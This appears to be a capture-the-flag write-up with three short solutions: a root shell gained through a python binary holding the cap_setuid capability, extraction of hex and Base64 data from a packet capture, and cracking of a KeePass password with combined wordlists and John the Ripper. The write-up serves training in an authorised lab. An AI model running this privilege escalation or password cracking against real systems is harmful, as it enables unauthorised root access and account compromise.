# Miscallenous ## CAPacity ``` /sbin/getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_setuid+ep $ /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' # id uid=0(root) gid=1000(shhhhhh) groups=1000(shhhhhh) # cat /root/flag.txt vulncon{TW9kZS1TX0hleGNvZGUK} ``` ## Pcaped ``` tshark -r Data.pcapng -e data -T fields | tr -d '\n' ``` Copy the string to cyberchef. From HEX, remove whitespace, from Base64 ## Johnny Make two wordlists: ``` John Ripper Cracker John37 Ripper37 Cracker37 ``` ``` ! " # % & $ @ ``` use hashcat-utils to combine into a wordlist: ``` /usr/lib/hashcat-utils/combinator.bin 1.txt words > 2.txt ``` repeat until you have word-symbol-word-symbol-word ``` sudo john hash.txt --wordlist=final.txt John37@Cracker@Ripper (Confidential) ``` open up the keepass file and look at the flag: Programming_Is_Necessary_For Cyber_Right? unfuck the flag and submit: vulncon{Programming_Is_Necessary_For_Cyber_Right?}